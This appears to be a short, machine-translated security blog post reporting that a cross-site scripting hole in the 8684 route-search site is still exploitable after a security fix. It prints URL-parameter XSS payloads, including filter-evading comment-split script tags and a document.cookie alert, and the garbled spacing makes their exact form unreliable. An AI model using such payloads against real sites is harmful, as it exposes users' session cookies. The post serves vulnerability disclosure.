Cross-Site attack analysis after security repair

Source: Internet
Author: User

Tosec Security Team Blog

Affected program version:

After 7.15 security fixes, ask for directions in 8684.



Double-Layer output causes the programmer to not strictly filter it. In the statement, we find that as long as we add our attack statement after the URL, the vulnerability is triggered again.

Attack test code Al/**/ert (/x/**/ss /) <\ "& searchsubmit = % CB % D1 % CB % F7 % B4 % F0 % B0 % B8 & type = 2 & city = beijing \"> "> <\> Q = \ "> <scr/**/EPT> al/**/ert (/x/**/ss /) </SC/**/rept> <\ "& searchsubmit = % CB % D1 % CB % F7 % B4 % F0 % B0 % B8 & type = 2 & city = beijing \ ">"> <script> alert (document. cookie) </script> <\"


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